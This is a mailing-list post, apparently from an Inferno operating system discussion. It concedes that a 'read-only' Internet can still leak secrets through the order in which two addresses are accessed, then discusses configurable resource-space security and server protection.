"read-only" networks (not!); continuum of security jobs; extranets

[Anssi Porttikivi <porttikivi@dlc.fi>]

Martin Weitzel <Martin.Weitzel@rent-a-guru.de> noted to me:

> Anssi:
> [with its computable resource spaces Inferno can provide]
> - read-only rights to all public Internet, 
>   so it can read any public information
>   but is unable to send your secrets someplace
>
>That isn't necessarily true.  Consider the case where a program running
>locally at your host and has gained access to some security relevant
>information and now starts reading from two internet adresses, say A and
>B.  It's easy to transfer information OUT to the owner of the foreign
>site(s) just through the sequence in time in wich both adresses are read
>(accessing A means 0-Bit, accesing B means 1-Bit).

You're right, I did not think of that! Well, as Martin Schneier notes in
his cryptology book: "It's always trickier than you think!". I admit the
concept of "read only Internet" was an oddity from the start, with 
interactive protocols like TCP. (Well, we have authentification of dis
modules regardless of the network type and of course we hope to have
Styx networks.)

About the other criticism presented about end-users not being able to
use resource spaces as security features:

The market will find, with help from Lucent, standard adjustable
security configurations. Smaller niches requiring different resource
handling will be implemented by specialized companies or in-house
development. Administrators and network service operators will have a
role. The regular end-user will buy the solutions she needs and perhaps
click a few switches.

BTW, security means much more than guarding your disk from thrashing or
your personal information from uploading. Most notably it means server
security: if you can export customized, safe resource spaces to the
network you can open up a lot of selected functionality from your
network to your business partners and customers. The kernel guarantees
that design or programming problems with higher level server objects,
which will no doubt occur, will not corrupt anything guarded at lower
server object level, which is much easier to make secure.

Anssi

---

• Prev by Date: Re: inheritable file system objects, part 1: security
• Next by Date: On scheduling...
• Prev by thread: releases, etc.
• Next by thread: On scheduling...
• Index(es):
  • Main
  • Thread